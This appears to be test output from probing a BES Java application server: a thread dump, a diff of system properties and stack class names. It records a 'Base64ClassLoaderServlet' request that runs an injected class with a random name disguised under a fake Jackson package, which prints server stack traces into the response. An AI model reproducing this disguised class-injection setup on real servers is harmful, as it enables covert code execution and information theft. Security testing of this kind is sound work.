java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@25b4ba8f
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"SelectorReaderThread-8080-1" #76 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #60 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"LifecycleThread[com.bes.appserv]-1" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@146bd4e6
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@32b9af7c
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"ReadWriteBlockThread-0" #14 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||
|
||||
"httpWorkerThread-8080-6" #70 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||
at com.fasterxml.jackson.EwGWk.ErrorKnbprHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2994)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
|
||||
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:92)
|
||||
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)
|
||||
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:136)
|
||||
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:77)
|
||||
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:83)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:349)
|
||||
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:662)
|
||||
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:807)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1688)
|
||||
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncTimeoutThread-1900" #75 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI RenewClean-[172.17.0.3:6600]" #96 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@144f793b
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"jmsra-WorkerThread-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_3" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"ReadWriteBlockThread-1" #15 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||
|
||||
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@142fd9ff
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:460)
|
||||
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-4" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Stateful cache" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ea9f378
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_2" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"jmsra-WorkerThread-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Connection(1)-172.17.0.3" #94 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #99 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
||||
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||
com.bes.ejb.spark.tcp.transport.AcceptorThread
|
||||
com.bes.enterprise.appserver.startup.Bootstrap
|
||||
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||
com.bes.enterprise.base.disruptor.util.Util
|
||||
com.bes.enterprise.server.builder.BesWebModule
|
||||
com.bes.enterprise.startup.ASMain
|
||||
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||
com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout
|
||||
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||
com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$Acceptor
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||
com.bes.enterprise.web.util.threads.WorkQueue
|
||||
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||
com.bes.enterprise.web.websocket.server.WsFilter
|
||||
com.bes.enterprise.webext.BESAppservValve
|
||||
com.bes.enterprise.webext.BesContextCleanupValve
|
||||
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||
com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor
|
||||
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||
com.fasterxml.jackson.EwGWk.ErrorKnbprHandler
|
||||
@@ -1,4 +1,4 @@
|
||||
# Generated At 2025-08-10 14:56:20
|
||||
# Generated At 2026-05-24 05:04:43
|
||||
SystemProps:
|
||||
bes.loader: bes-system
|
||||
java.vendor: Oracle Corporation
|
||||
@@ -22,11 +22,11 @@ user.name: root
|
||||
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
|
||||
com.bes.resource.ejb.leakDetect: false
|
||||
com.bes.hostName: a1666f015eb3
|
||||
com.bes.hostName: 96b21756e3f9
|
||||
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||
user.language: en
|
||||
derby.system.home: /opt/bes
|
||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
|
||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||
java.version: 1.8.0_342
|
||||
@@ -50,7 +50,7 @@ java.home: /usr/local/openjdk-8/jre
|
||||
java.vm.info: mixed mode
|
||||
com.bes.instanceName: server
|
||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
|
||||
os.version: 6.8.0-111-generic
|
||||
path.separator: :
|
||||
java.vm.version: 25.342-b07
|
||||
com.bes.verboseMode: true
|
||||
@@ -69,7 +69,7 @@ java.security.egd: file:/dev/./urandom
|
||||
user.home: /root
|
||||
com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64
|
||||
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
|
||||
java.vendor.url: http://java.oracle.com/
|
||||
com.bes.enterprise.deployments.classpath: false
|
||||
java.vm.vendor: Oracle Corporation
|
||||
@@ -77,7 +77,7 @@ common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/
|
||||
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||
java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
|
||||
java.class.path: /opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar
|
||||
com.bes.instanceRoot: /opt/bes
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||
@@ -88,7 +88,7 @@ java.awt.headless: true
|
||||
java.io.tmpdir: /tmp
|
||||
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||
server.loader:
|
||||
os.arch: aarch64
|
||||
os.arch: amd64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
bes.version: 9.5.5
|
||||
com.bes.enterprise.embedder.source: ServerListener
|
||||
@@ -110,70 +110,16 @@ java.specification.version: 1.8
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"Spark_2" #94 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"LifecycleThread[com.bes.appserv]-1" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b5836e3
|
